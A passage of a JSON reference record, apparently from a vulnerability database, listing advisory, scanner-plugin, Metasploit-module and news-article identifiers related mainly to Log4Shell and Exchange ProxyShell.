"KITPLOIT:4462385753504235463", "KITPLOIT:4654779182065061303", "KITPLOIT:5104415481503400470", "KITPLOIT:522409803487164759", "KITPLOIT:5376485594298165648", "KITPLOIT:5397133847150975825", "KITPLOIT:5563730483162396602", "KITPLOIT:5734436811250397170", "KITPLOIT:5789499291738758939", "KITPLOIT:5829195600312197311", "KITPLOIT:6422486000446318290", "KITPLOIT:6516544912632048506", "KITPLOIT:6759391622067035795", "KITPLOIT:7070039119688478663", "KITPLOIT:763105754466120590", "KITPLOIT:7847586937102427883", "KITPLOIT:7976092996345827446", "KITPLOIT:8031680161397698025", "KITPLOIT:8148701901300660800", "KITPLOIT:816704453339226193", "KITPLOIT:8266451932034361580", "KITPLOIT:866017936175971203", "KITPLOIT:8945091038325456871", "KITPLOIT:965198862441671998"]}, {"type": "krebs", "idList": ["KREBS:831FD0B726B800B2995A68BA50BD8BE3"]}, {"type": "mageia", "idList": ["MGASA-2021-0556", "MGASA-2021-0566", "MGASA-2021-0572"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:1476491C6EB2E7829EC63A183A35CE8B", "MALWAREBYTES:1B8D17909172F80C0F82CB21FDFC33B2", "MALWAREBYTES:39A05D4A4EC81966F7A1721DFACB3470", "MALWAREBYTES:42218FB85F05643E0B2C2C7D259EFEB5", "MALWAREBYTES:4CB01833826116B2823401DFB69A5431", "MALWAREBYTES:6A4862332586F98DA4761BE2B684752F", "MALWAREBYTES:80B21E934B1C43C7071F039FE9512208", "MALWAREBYTES:A325F8FB1D527BD3C6C1C3A187840632", "MALWAREBYTES:B0F2474F776241731FE08EA7972E6239", "MALWAREBYTES:B830332817B5D5BEE99EF296E8EC7E2A", "MALWAREBYTES:B8C767042833344389F6158273089954", "MALWAREBYTES:BAB94968DD1EC37DA6F977226977DAF5"]}, {"type": "metasploit", "idList": ["MSF:AUXILIARY-SCANNER-HTTP-LOG4SHELL_SCANNER-", "MSF:EXPLOIT-LINUX-HTTP-MOBILEIRON_CORE_LOG4SHELL-", "MSF:EXPLOIT-MULTI-HTTP-LOG4SHELL_HEADER_INJECTION-", "MSF:EXPLOIT-MULTI-HTTP-VMWARE_VCENTER_LOG4SHELL-", "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYSHELL_RCE-"]}, {"type": "mmpc", "idList": ["MMPC:1E3441B57C08BC18202B9FE758C2CA71", "MMPC:27EEFD67E5E7E712750B1472E15C5A0B", "MMPC:42ECD98DCF925DC4063DE66F75FB5433", "MMPC:A2F131E46442125176E4853C860A816C", "MMPC:BB2F5840056D55375C4A19D2FF07C695", "MMPC:C0F4687B18D53FB9596AD4FDF77092D8", "MMPC:F36351D1B5A5C40989F46EF8729039A7"]}, {"type": "mscve", "idList": ["MS:CVE-2021-31196", "MS:CVE-2021-31206", "MS:CVE-2021-31207", "MS:CVE-2021-33768", "MS:CVE-2021-34470", "MS:CVE-2021-34473", "MS:CVE-2021-34523", "MS:CVE-2021-44228"]}, {"type": "mskb", "idList": ["KB5001779", "KB5003435"]}, {"type": "msrc", "idList": ["MSRC:543F3A129A47F4B14FB170389908717B"]}, {"type": "mssecure", "idList": ["MSSECURE:1E3441B57C08BC18202B9FE758C2CA71", "MSSECURE:27EEFD67E5E7E712750B1472E15C5A0B", "MSSECURE:42ECD98DCF925DC4063DE66F75FB5433", "MSSECURE:A2F131E46442125176E4853C860A816C", "MSSECURE:BB2F5840056D55375C4A19D2FF07C695", "MSSECURE:C0F4687B18D53FB9596AD4FDF77092D8", "MSSECURE:F36351D1B5A5C40989F46EF8729039A7"]}, {"type": "nessus", "idList": ["AL2_ALAS-2021-001.NASL", "AL2_ALAS-2021-1730.NASL", "AL2_ALAS-2021-1731.NASL", "AL2_ALAS-2021-1732.NASL", "AL2_ALAS-2021-1733.NASL", "AL2_ALAS-2022-1773.NASL", "AL2_ALAS-2022-1806.NASL", "AL2_ALASCORRETTO8-2021-001.NASL", "AL2_ALASJAVA-OPENJDK11-2021-001.NASL", "ALA_ALAS-2021-1553.NASL", "ALA_ALAS-2021-1554.NASL", "ALA_ALAS-2022-1562.NASL", "ALA_ALAS-2022-1580.NASL", "ALA_ALAS-2022-1601.NASL", "ALMA_LINUX_ALSA-2022-0290.NASL", "APACHE_APEREO_CAS_LOG4SHELL.NBIN", "APACHE_DRUID_LOG4SHELL.NBIN", "APACHE_JSPWIKI_LOG4SHELL.NBIN", "APACHE_LOG4J_2_15_0.NASL", "APACHE_LOG4J_2_16_0.NASL", "APACHE_LOG4J_2_16_0_MAC.NASL", "APACHE_LOG4J_2_17_0.NASL", "APACHE_LOG4J_2_17_0_MAC.NASL", "APACHE_LOG4J_JDNI_LDAP_GENERIC.NBIN", "APACHE_LOG4J_JDNI_LDAP_GENERIC_HTTP_HEADERS.NBIN", "APACHE_LOG4J_JDNI_LDAP_GENERIC_TELNET.NBIN", "APACHE_LOG4J_JNDI_LDAP_GENERIC_RAW.NBIN", "APACHE_LOG4J_WIN_2_15_0.NASL", "APACHE_LOG4SHELL_CVE-2021-45056_DIRECT_CHECK.NBIN", "APACHE_LOG4SHELL_DNS.NBIN", "APACHE_LOG4SHELL_IMAP.NBIN", "APACHE_LOG4SHELL_MSRPC.NBIN", "APACHE_LOG4SHELL_NETBIOS.NBIN", "APACHE_LOG4SHELL_POP3.NBIN", "APACHE_LOG4SHELL_SMTP.NBIN", "APACHE_LOG4SHELL_SNMP.NBIN", "APACHE_LOG4SHELL_SSH.NBIN", "APACHE_LOG4SHELL_UPNP.NBIN", "APACHE_OFBIZ_LOG4SHELL.NBIN", "APACHE_SOLR_LOG4SHELL.NBIN", "CISCO-SA-APACHE-LOG4J-QRUKNEBD-CUIC.NASL", "CISCO-SA-APACHE-LOG4J-QRUKNEBD-ISE.NASL", "CISCO-SA-APACHE-LOG4J-QRUKNEBD-SDWAN-VMANAGE.NASL", "CISCO-SA-APACHE-LOG4J-QRUKNEBD-UCS-DIRECTOR.NASL", "DEBIAN_DLA-2842.NASL", "DEBIAN_DLA-2852.NASL", "DEBIAN_DLA-2905.NASL", "DEBIAN_DSA-5020.NASL", "DEBIAN_DSA-5022.NASL", "DEBIAN_DSA-5024.NASL", "EULEROS_SA-2022-1276.NASL", "EXCHANGE_PROXYSHELL.NBIN", "FORTIOS_FG-IR-18-384.NASL", "FORTIOS_FG-IR-18-384_DIRECT.NASL", "FORTIOS_FG-IR-19-037.NASL", "FORTIOS_FG-IR-19-283.NASL", "FREEBSD_PKG_1EA05BB85D7411ECBB1E001517A2E1A4.NASL", "FREEBSD_PKG_3FADD7E4F8FB45A0A2188FD6423C338F.NASL", "FREEBSD_PKG_4B1AC5A35BD411EC8602589CFC007716.NASL", "FREEBSD_PKG_515DF85A5CD711ECA16D001517A2E1A4.NASL", "FREEBSD_PKG_650734B2766541709A0AEECED5E10A5E.NASL", "FREEBSD_PKG_93A1C9A75BEF11ECA47A001517A2E1A4.NASL", "FREEBSD_PKG_B0F49CB9673611EC9EEA589CFC007716.NASL", "FREEBSD_PKG_D1BE3D73673711EC9EEA589CFC007716.NASL", "GENTOO_GLSA-202209-02.NASL", "LOG4J_LOG4SHELL_FTP.NBIN", "LOG4J_LOG4SHELL_NTP.NBIN", "LOG4J_LOG4SHELL_PPTP.NBIN", "LOG4J_LOG4SHELL_RPCBIND.NBIN", "LOG4J_LOG4SHELL_SIP_INVITE.NBIN", "LOG4J_LOG4SHELL_SMB.NBIN", "LOG4J_LOG4SHELL_WWW.NBIN", "LOG4J_VULNERABLE_ECOSYSTEM_LAUNCHER.NASL", "MACOSX_FORTIOS_FG-IR-18-384.NASL", "MACOS_SPLUNK_824.NASL", "MOBILEIRON_LOG4SHELL.NBIN", "NUTANIX_NXSA-AOS-5_20_4.NASL", "NUTANIX_NXSA-AOS-6_0_2_5.NASL", "NUTANIX_NXSA-AOS-6_0_2_6.NASL", "NUTANIX_NXSA-AOS-6_1_1.NASL", "OPENSUSE-2021-1577.NASL", "OPENSUSE-2021-1586.NASL", "OPENSUSE-2021-1601.NASL", "OPENSUSE-2021-1605.NASL", "OPENSUSE-2021-1612.NASL", "OPENSUSE-2021-1613.NASL", "OPENSUSE-2021-1631.NASL", "OPENSUSE-2021-3999.NASL", "OPENSUSE-2021-4094.NASL", "OPENSUSE-2021-4107.NASL", "OPENSUSE-2021-4109.NASL", "OPENSUSE-2021-4111.NASL", "OPENSUSE-2021-4112.NASL", "OPENSUSE-2021-4118.NASL", "OPENSUSE-2022-0038-1.NASL", "ORACLELINUX_ELSA-2021-5206.NASL", "ORACLELINUX_ELSA-2022-0290.NASL", "ORACLELINUX_ELSA-2022-9056.NASL", "ORACLE_PRIMAVERA_GATEWAY_CPU_JAN_2022.NASL", "ORACLE_PRIMAVERA_P6_EPPM_CPU_JAN_2022.NASL", "ORACLE_WEBCENTER_PORTAL_CPU_JAN_2022.NASL", "PALO_ALTO_LOG4SHELL.NASL", "REDHAT-RHSA-2022-1296.NASL", "REDHAT-RHSA-2022-1297.NASL", "REDHAT-RHSA-2022-1462.NASL", "REDHAT-RHSA-2022-1463.NASL", "SMB_NT_MS21_APR_EXCHANGE.NASL", "SMB_NT_MS21_MAY_EXCHANGE.NASL", "SPLUNK_824.NASL", "SUSE_SU-2021-14866-1.NASL", "SUSE_SU-2021-4111-1.NASL", "SUSE_SU-2021-4112-1.NASL", "SUSE_SU-2021-4115-1.NASL", "UBIQUITI_UNIFI_NETWORK_LOG4SHELL.NBIN", "UBUNTU_USN-5192-1.NASL", "UBUNTU_USN-5192-2.NASL", "UBUNTU_USN-5197-1.NASL", "UBUNTU_USN-5203-1.NASL", "UBUNTU_USN-5223-1.NASL", "VMWARE_HORIZON_LOG4SHELL.NBIN", "VMWARE_VCENTER_LOG4SHELL.NBIN", "VMWARE_VREALIZE_OPERATIONS_MANAGER_LOG4SHELL.NBIN", "WEB_APPLICATION_SCANNING_113075"]}, {"type": "nvidia", "idList": ["NVIDIA:5294", "NVIDIA:5295"]}, {"type": "oracle", "idList": ["ORACLE:CPUAPR2022", "ORACLE:CPUJAN2022"]}, {"type": "osv", "idList": ["OSV:DLA-2842-1", "OSV:DLA-2852-1", "OSV:DSA-5020-1", "OSV:DSA-5022-1", "OSV:DSA-5024-1", "OSV:GHSA-3QPM-H9CH-PX3C", "OSV:GHSA-7RJR-3Q55-VV33", "OSV:GHSA-FP5R-V3W9-4333", "OSV:GHSA-J3CH-VJPH-8Q6V", "OSV:GHSA-J7C3-96RF-JRRP", "OSV:GHSA-JFH8-C2JP-5V3Q", "OSV:GHSA-MF4F-J588-5XM8", "OSV:GHSA-P6XC-XR62-6R2G", "OSV:GHSA-V57X-GXFJ-484Q"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:154146", "PACKETSTORM:154147", "PACKETSTORM:163895", "PACKETSTORM:165261", "PACKETSTORM:165270", "PACKETSTORM:165532", "PACKETSTORM:165642", "PACKETSTORM:165673", "PACKETSTORM:167917"]}, {"type": "paloalto", "idList": ["PA-CVE-2021-44228"]}, {"type": "qt", "idList": ["QT:7EFAEDCED59EA2EE3AB98A0A484C5825"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:01C65083E501A6BAFB08FCDA1D561012", "QUALYSBLOG:13C1A00A7D0A7B1BB16D0AB5B1E9B51A", "QUALYSBLOG:15D6ABF4D9A50D86E63BA4553A0CD3C6", "QUALYSBLOG:282A52EA9B1F4C4F3F084197709217B0", "QUALYSBLOG:33FD0B08A1B2E414EAA2ADDFCDFE0EB1", "QUALYSBLOG:3F1898282AF38991E0B849D7A68D2A2B", "QUALYSBLOG:3FADA4B80DBBF178154C0729CFC1358F", "QUALYSBLOG:42335884011D582222F08AEF81D70B94", "QUALYSBLOG:5059D1C3913FB6542F3283A66F9B3A43", "QUALYSBLOG:68BBBF644900DA0A883AABB0E4E3F28B", "QUALYSBLOG:6C71B912ABF74BE51F014EC90669CF30", "QUALYSBLOG:8DC9B53E981BBE193F6EC369D7FA85F8", "QUALYSBLOG:A0F20902D80081B44813D92C6DCCDAAF", "QUALYSBLOG:A8EE36FB3E891C73934CB1C60E3B3D41", "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "QUALYSBLOG:C2ECE416E32C6CC230B13471D41A4E03", "QUALYSBLOG:C3C14B989683A02C2C9A98CE918FBC3C", "QUALYSBLOG:CAF5B766E6B0E6C1A5ADF56D442E7BB2", "QUALYSBLOG:DC0F3E59C4DA6EB885E6BCAB292BCA7D"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:02EDDA927928C11A6D10A4A0D17823AF", "RAPID7BLOG:03B1EB65D8A7CFE486943E2472225BA1", "RAPID7BLOG:0576BE6110654A3F9BF7B9DE1118A10A", "RAPID7BLOG:05A653A5E863B78EDD56FD74F059E02E", "RAPID7BLOG:078D5EE222682A75AE1A1A3A3684E38D", "RAPID7BLOG:0C5C51ED53983B92C7C9805E820366C9", "RAPID7BLOG:18CF89AA3B9772E6A572177134F45F3A", "RAPID7BLOG:18D49792276E208F17E7D64BCE2FDEF6", "RAPID7BLOG:1D39E7BBA13704DCBB8153C89ABE6B72", "RAPID7BLOG:24E0BE5176F6D3963E1824AD4A55019E", "RAPID7BLOG:2FC92FBE5A4445611C80C7C3FA7D9354", "RAPID7BLOG:2FFDE45F01FA44216BE91DD7AFA0D060", "RAPID7BLOG:45B045D2EE21432DF9939E4402522BFC", "RAPID7BLOG:4B35B23167A9D5E016537F6A81E4E9D4", "RAPID7BLOG:4CDB288231FA4BF52C0067D9D4FEABBF", "RAPID7BLOG:5109AC30126DB59333F13ED32F7F4713", "RAPID7BLOG:5721EC0F74BC2FA3F661282E284C798A", "RAPID7BLOG:5CDF95FB2AC31414FD390E0E0A47E057", "RAPID7BLOG:602109CBDD808C41E4DDC9FBC55E144D", "RAPID7BLOG:6EADCD983283E3D546EF2907978E95F1", "RAPID7BLOG:7767347A5784FF1C4901601A1A21D2C8", "RAPID7BLOG:7B1DD656DC72802EE7230867267A5A16", "RAPID7BLOG:7F1312E79E0925118565C90443170051", "RAPID7BLOG:97E3CA7ED938F3DF6E967C832F314FA3", "RAPID7BLOG:9CB105938BDE92F573A2DE68BC20CF46", "RAPID7BLOG:9F3C0081D4135E83F44053063F0E78EE", "RAPID7BLOG:AB5C0BC130F45073226CC41D25680EA0", "RAPID7BLOG:AF9E6199C63A57B22FAE6AAEDD650D39", "RAPID7BLOG:B6DE24165AA9AA83EDA117170EDDAD44", "RAPID7BLOG:BE60EE9A1ACB3CEE4593041ECAFA8D95", "RAPID7BLOG:C6C1B8357ABD28AEB0F423A0A099098A", "RAPID7BLOG:CB62092B4C7E70876CF276BA04DD7597", "RAPID7BLOG:D185BF677E20E357AFE422CFB80809A5", "RAPID7BLOG:D1E1A150733F5AFC2C704DB26E7EAB30", "RAPID7BLOG:D47FB88807F2041B8820156ECFB85720", "RAPID7BLOG:E3D08ECAA9A93569D5544F4D6AAEEB74", "RAPID7BLOG:E43819A7DE1DD0F60E63E67A27B9301B", "RAPID7BLOG:ED80467D2D29D8DC10E754C9EA19D9AD", "RAPID7BLOG:F14526C6852230A4E4CF44ADE151DF49", "RAPID7BLOG:F14E17E573386DB3DDD27A8E829E49A1", "RAPID7BLOG:F37BD0C67170721734A26D15E6D99B3E", "RAPID7BLOG:F76EF7D6AB9EB07FC8B8BCE442DC3A69", "RAPID7BLOG:F9B4F18ABE4C32CD54C3878DD17A8630", "RAPID7BLOG:FB97B7B381BE98BE0077666DFDEC1953", "RAPID7BLOG:FBEE52CB3C438E4C42D6212E07BEFEA9"]}, {"type": "redhat", "idList": ["RHSA-2021:5093", "RHSA-2021:5094", "RHSA-2021:5106", "RHSA-2021:5107", "RHSA-2021:5108", "RHSA-2021:5126", "RHSA-2021:5127", "RHSA-2021:5128", "RHSA-2021:5129", "RHSA-2021:5130", "RHSA-2021:5132", "RHSA-2021:5133", "RHSA-2021:5134", "RHSA-2021:5137", "RHSA-2021:5138", "RHSA-2021:5140", "RHSA-2021:5141", "RHSA-2021:5148", "RHSA-2021:5183", "RHSA-2021:5184", "RHSA-2021:5186", "RHSA-2022:0026", "RHSA-2022:0042", "RHSA-2022:0043", "RHSA-2022:0044", "RHSA-2022:0047", "RHSA-2022:0082", "RHSA-2022:0083", "RHSA-2022:0203", "RHSA-2022:0205", "RHSA-2022:0216", "RHSA-2022:0219", "RHSA-2022:0222", "RHSA-2022:0223", "RHSA-2022:0296", "RHSA-2022:0431", "RHSA-2022:1296", "RHSA-2022:1297", "RHSA-2022:1299", "RHSA-2022:1462", "RHSA-2022:1463", "RHSA-2022:1469"]}, {"type": "redhatcve", "idList": ["RH:CVE-2021-4104", "RH:CVE-2021-4125", "RH:CVE-2021-44228", "RH:CVE-2021-44832", "RH:CVE-2021-45046", "RH:CVE-2021-45105"]}, {"type": "securelist", "idList": ["SECURELIST:0ED76DA480D73D593C82769757DFD87A", "SECURELIST:52D1B0F6F56EE960CC02B969556539D6", "SECURELIST:7A375F44156FACA25A0B3990F2CD73C1", "SECURELIST:9CC623A02615C07A9CEABD0C58DE7931", "SECURELIST:C50F1C7ECAFB8BD5FDEDAA29493B81A6", "SECURELIST:C540EBB7FD8B7FB9E54E119E88DB5C48", "SECURELIST:E21F9D6D3E5AFD65C99FC385D4B5F1DC"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2021:1577-1", "OPENSUSE-SU-2021:1586-1", "OPENSUSE-SU-2021:1601-1", "OPENSUSE-SU-2021:1605-1", "OPENSUSE-SU-2021:1613-1", "OPENSUSE-SU-2021:3999-1", "OPENSUSE-SU-2021:4094-1", "OPENSUSE-SU-2021:4107-1", "OPENSUSE-SU-2021:4109-1", "OPENSUSE-SU-2021:4118-1"]}, {"type": "symantec", "idList": ["SMNTC-19793"]}, {"type": "talosblog", "idList": ["TALOSBLOG:0AA83DE1427426ABF4723FDF049F6EEB"]}, {"type": "thn", "idList": ["THN:0D80EEB03C07D557AA62E071C7A7C619", "THN:1D10167F5D53B2791D676CF56488D5D9", "THN:1ED1BB1B7B192353E154FB0B02F314F4", "THN:25143CA85A0297381CEBBBD35F24F85B", "THN:2656971C06C4E3D4B0A8C0AC02BBB775", "THN:3266EB2F73FA4A955845C8FEBA4E73C5", "THN:365025B2416483B34C70F02EDA44131E", "THN:368B6517F020AB4BF1B2344EDC8234A4", "THN:3E9680853FA3A677106A8ED8B7AACBE6", "THN:461B7AEC7D12A32B4ED085F0EA213502", "THN:4DE731C9D113C3993C96A773C079023F", "THN:5BAE3325983F971D1108722C454FF9AB", "THN:5BE77895D84D1FB816C73BB1661CE8EB", "THN:5CB7AEBFFE369D293598A4FDBFDFCEE3", "THN:602D65D576B090BAC4B0C96998F8F922", "THN:668DE2C9CFD709125451AF8F3FE12E6C", "THN:686DDFA07B415C41BA7AB9B8970557EF", "THN:76D7572EDBE770410D6F0518DAD8B0AD", "THN:7958F9B1AA180122992C6A0FADB03536", "THN:80D2DBC4130D9FF314BDC4C19EB5CD4E", "THN:833B2B9623F1C64D20868B947E8BE4E0", "THN:83D31EE6B3E59778D812B3B7E67D7CD6", "THN:8483C1B45A5D7BF5D501DE72F5898935", "THN:84E53E1CA489F43A3D68EC1B18D6C2E2", "THN:8BA951AD00E17C72D6321234DBF80D19", "THN:91A2A296EF8B6FD5CD8B904690E810E8", "THN:933FE23273AB5250B949633A337D44E1", "THN:9994A9D5CFB76851BB74C8AD52F3DBBE", "THN:9FD8A70F9C17C3AF089A104965E48C95", "THN:AFF2BD38CB9578D0F4CA96A145933627", "THN:B95DC27A89565323F0F8E6350D24D801", "THN:C3B82BB0558CF33CFDC326E596AF69C4", "THN:C73B84809CDC20C90C26FF1B7F56F5D4", "THN:DF2B6840863D6847D7088B1A07B19A4A", "THN:E27BF56DBA34B1A89BD29AEB5A6D8405", "THN:E7E8D45492BAD83E88C89D34F8502485", "THN:E95B6A75073DA71CEC73B2E4F0B13622", "THN:EAEDDF531EB90375B350E1580DE3DD02", "THN:ECDABD8FB1E94F5D8AFD13E4C1CB5840", "THN:F25FAD25E15EBBE4934883ABF480294D", "THN:F35E41E26872B23A7F620C6D8F7E2334", "THN:FA40708E1565483D14F9A31FC019FCE1", "THN:FBDAEC0555EDC3089DC0966D121E0BCE", "THN:FCBB400B24C7B24CD6B5136FA8BE38D3"]}, {"type": "threatpost", "idList": ["THREATPOST:02A472487653A461080415A3F7BB23D2", "THREATPOST:03FC9E97BBF9730C5990E8A220DD5E9A", "THREATPOST:065F7608AC06475E765018E97F14998D", "THREATPOST:075BA69792AA7B1AE4C28E1CBE61E360", "THREATPOST:08E51C6FB9418179611DF2ACFB1073BF", "THREATPOST:09118C676E28AC5D7BB791E76F75453C", "THREATPOST:0B290DDF3FE14178760FDC2229CB1383", "THREATPOST:0C3BAA4DB9E2B5E8A30DD20A987FCE03", "THREATPOST:0FD7F2FA7F2D3383F582553124EA843D", "THREATPOST:10245D9804511A09607265485D240FFF", "THREATPOST:10D0F1DDDD6C211DA3CE6395900B7C54", "THREATPOST:1309DBA0F8A2727965C6FA284A002D3B", "THREATPOST:138507F793D8399AF0EE1640C46A9698", "THREATPOST:138F67583DAC26A61D1AB90A018F1250", "THREATPOST:13D4AE4C03A3BF687491FDA1E8D732C7", "THREATPOST:14D52B358840B9265FED987287C1E26E", "THREATPOST:16624FA0DF55AAB9FDB3C14AC91EC9F5", "THREATPOST:16877B149E701CC4DB69E91C567D79CC", "THREATPOST:187B01687ED5D3975CD6E42E84DD9B13", "THREATPOST:19BDD881931703B28F7B93492E0C75FD", "THREATPOST:1A553B57472BB0EB8D69F573B510FDE6", "THREATPOST:1B42481449E86FEA3940A2E1E2634309", "THREATPOST:1BE6320CDA6342E72A5A2DD5E0758735", "THREATPOST:1CC682A86B6D521AD5E357B9DB3A1DFB", "THREATPOST:1CEC18436389CF557E4D0F83AE022A53", "THREATPOST:1EB961A6936CB97E2DE6C0212349367F", "THREATPOST:1F99A9A6A418194B87E5468CC8344FBF", "THREATPOST:1FB73160B6AAB2B0406816BB6A61E4CB", "THREATPOST:2018FCCB3FFD46BACD36ADBC6C9013CE", "THREATPOST:20F9B8CE2D092108C0F78EC3E415F6B4", "THREATPOST:2188E3E33D86C2C3DF35253A3ED7FA6C", "THREATPOST:2246F7085606B44A031DC14D1B54B9DB", "THREATPOST:23B6C10D7EF469BE8ED27D1C9AFB526A", "THREATPOST:2707644CA0FB49ADD0ECA1B9AFDA0E8A", "THREATPOST:27C5AA551B5793DEA8848FB76DE52B32", "THREATPOST:280ACEC9B5A634E74F3C321F272C3EF3", "THREATPOST:2C0E12580D3C2F1CE7880F6955D4AA1E", "THREATPOST:2DFBDDFFE3121143D95705C4EA525C7A", "THREATPOST:2E607CF584AE6639AC690F7F0CE8C648", "THREATPOST:305513A61FA2B0EF500854C82DF34A9C", "THREATPOST:31091088EDBCEEF43F75A2BA2387EB5C", "THREATPOST:31D14CEE5977BF71F79F7C30AEC10698", "THREATPOST:34D98758A035C36FED68DDD940415845", "THREATPOST:35A43D6CB9FAF8966F5C0D20045D1166", "THREATPOST:3697F9293A6DFF6CD5927E9E68FF488A", "THREATPOST:38E044431D55F0A4BC458FF92EB025BF", "THREATPOST:38E8D69F26ADB15A989532924B2A98C4", "THREATPOST:3A1C8593C0AAEFA3AF77D1A207BD0B65", "THREATPOST:3A5F59D56E40560C393A3F69A362A31B", "THREATPOST:3ADFDD3CC93B03F83C2CEC5583B016AB", "THREATPOST:3B06E49AA3C9F001C97038682A9BF73F", "THREATPOST:3B8B02F621E9D9883A541B1B26BDF410", "THREATPOST:3CC83DBBAFE2642F4E6D533DDC400BF6", "THREATPOST:3DB85AFFEA9491ACBD8909D0CF5FBAEA", "THREATPOST:3EDC338ECB2601F5A49A9ED5E087B776", "THREATPOST:3FDED0EC415BA165368B72AB2A8E1A59", "THREATPOST:40A09F08F388BACF08E0931C6473DE0C", "THREATPOST:40A6B1288BA6177BA30307804BE630D0", "THREATPOST:41B10746D1F4B74DA188CB140A8B2676", "THREATPOST:42AAB266C740220CFF57204DDF71129E", "THREATPOST:436D209F4CB01B99FC9576DFE08DE145", "THREATPOST:45B63C766965F5748AEC30DE709C8003", "THREATPOST:46837E7270195429E1D891848E911254", "THREATPOST:46AF5D5C752ADF689DA52FBDA4644F5D", "THREATPOST:47481707E9A4BF7FC15CC47EC8A8F249", "THREATPOST:48A631F2D45804C677BB672F838F29DA", "THREATPOST:48FD4B4BFA020778797D684672C283B0", "THREATPOST:49177F7B5015CE94637C97F64C2D4138", "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "THREATPOST:4B8076F30D5D67336733D7FFBCBD929A", "THREATPOST:4C9E0FFA5C914E395A66D2DC65B16649", "THREATPOST:4D63851D1493E3861204B674ADBC7F01", "THREATPOST:4D892A0342695D6703703D63DCC1877C", "THREATPOST:4EEFA1A0FABB9A6E17C3E70F39EB58FE", "THREATPOST:503327A6AB0C76621D741E281ABCFF77", "THREATPOST:52923238811C7BFD39E0529C85317249", "THREATPOST:5531DA413E023731C17E5B0771A25B3D", "THREATPOST:57F52943964BADEBC748C4AC796CEEB6", "THREATPOST:590E1D474E265F02BA634F492F728536", "THREATPOST:5B680BEF3CD53FFB3B871FF7365A4C47", "THREATPOST:5B9D3D8DB4BFEDE846215C1877B275ED", "THREATPOST:5C1E777F8F9FC173EF97E95D8AFAA5F2", "THREATPOST:5CCE0C2607242B16B2880B331167526C", "THREATPOST:5F6690E820E1B143D99DD5974300C6FF", "THREATPOST:604B67FD6EFB0E72DDD87DF07C8F456D", "THREATPOST:6067B6D35C99BFCFF226177541A31F69", "THREATPOST:647D7D894452D9C46B3E86F5491EED49", "THREATPOST:65DB14FD89BCDBD3391ADD70F1377E70", "THREATPOST:65F4E74D349524EBAC2DA4A4ECF22DD8", "THREATPOST:6675B640474BF8A8A3D049DB0266A118", "THREATPOST:66848A3C9B8917C8F84DFDC04DD5F6D9", "THREATPOST:68B92CE2FE5B31FB78327BDD0AB7F21C", "THREATPOST:6C547AAC30142F12565AB289E211C079", "THREATPOST:6D28B6E17A92FE11F55907C143B3F5DD", "THREATPOST:71C45E867DCD99278A38088B59938B48", "THREATPOST:736F24485446EFF3B3797B31CE9DAF1D", "THREATPOST:751A0E2371F134F90F39C20AB70C1E2A", "THREATPOST:76A072EE53232EB197F119EC2F7EAA74", "THREATPOST:76A5549135F9D578FFC2C8FACC135193", "THREATPOST:77DB31E826E03EA9D78EE4777986EA49", "THREATPOST:78327DA051387C43A61D82DE6B618D1F", "THREATPOST:795C39123EE147B39072C9434899E8FE", "THREATPOST:796DFA4804FEF04D3787893FCDFF97D2", "THREATPOST:7DDE7BA7A7916763BDDB5D0C565285DA", "THREATPOST:81021088670E95FC0EBB2F53E1FB2AD2", "THREATPOST:8105FA1422BB4E02CD95C23CC7405E26", "THREATPOST:81DEAED9A2A367373ADA49F1CCDCA95D", "THREATPOST:8243943141B8F18343765DA77D33F46C", "THREATPOST:836083DB3E61D979644AE68257229776", "THREATPOST:83C349A256695022C2417F465CEB3BB2", "THREATPOST:8594A8F12FC5C97E7E62AF7B9BE3F1AA", "THREATPOST:8601D6EF6AB3201E582A218391B19C3F", "THREATPOST:8648A1E46B6EBE5300881DE285C7D080", "THREATPOST:883A7DED46A4E1C743AFFBA7CDCF4400", "THREATPOST:89AA48C3C48FA427AB660EDEE6DBCBE2", "THREATPOST:8A372065BFA1E6839DAF0386E9D8A1F5", "THREATPOST:8A56F3FFA956FB0BB2BB4CE451C3532C", "THREATPOST:8B78588647E8548B06361DBB1F279468", "THREATPOST:8D57BD39C913E8DDC450DD9EF2564C2C", "THREATPOST:8E47F9D5A51C75BA6BB0A1E286296563", "THREATPOST:8FFF44C70736D8E21796B9337E52F29D", "THREATPOST:932AA74F12B9D2AD0E8589AC1A2C1438", "THREATPOST:9374ECD9CCFC891FC2F3B85DF0905A1C", "THREATPOST:95BDCA2096B58A0697E169C01B1E0F09", "THREATPOST:970C9E73DF1FF53D70DB0B66326F3CB0", "THREATPOST:97D06649A596B5E25E2A11E3D275748B", "THREATPOST:97F7CB48069CDF8038E5E49508EFA458", "THREATPOST:987673B6BC03D7371ADC88E9BDA270D5", "THREATPOST:98D815423018872E6E596DAA8131BF3F", "THREATPOST:98F735BF442C3126E4A9FFBB60517B96", "THREATPOST:9922BFA77AFE6A6D35DFEA77A4D195C0", "THREATPOST:99C6C1555ACD07B4925765AED21A360C", "THREATPOST:9D96113FADFD4FBCA9C17B78B53A8C93", "THREATPOST:9E222E9232D1D59183559B17E97BADCD", "THREATPOST:A07707C9B30B86A691C1A24C4DC65EE6", "THREATPOST:A1F3E8AC4878C11E48F90AC47D165F52", "THREATPOST:A2FE619CD27EBEC2F6B0C62ED026F02C", "THREATPOST:A6096ACCB3F0C38BC6570E1DDE3E8844", "THREATPOST:A98C64CB9BDDE55F51C984B749753904", "THREATPOST:AB54F1EB518D88546D1EF9DBA5E1874B", "THREATPOST:AE9B4708A7A9B6F3A24C35E15C6150A4", "THREATPOST:AFD74E86954C5A08B3F246887333BDF3", "THREATPOST:B04DD1402960F4726546F62371A02B3C", "THREATPOST:B11E42D0B4C56E4CC482DEF6EA0B4AC7", "THREATPOST:B2FEDF3EA50507F526C77105093E8977", "THREATPOST:B318814572E066732E6C32CC147D95E2", "THREATPOST:B3A92C43D5FF3C53BE8EF06C687B80B6", "THREATPOST:B796D491D9E59A6CE14A74FFE427D175", "THREATPOST:B7C8B7F3016D73355C4ED5E05B0E8490", "THREATPOST:B9CCF4B8B7E25CEC369B248303882707", "THREATPOST:BA0FA5036C385C822C787514850A67E5", "THREATPOST:BDCC3D007E103708BD7CA085B29EF2CB", 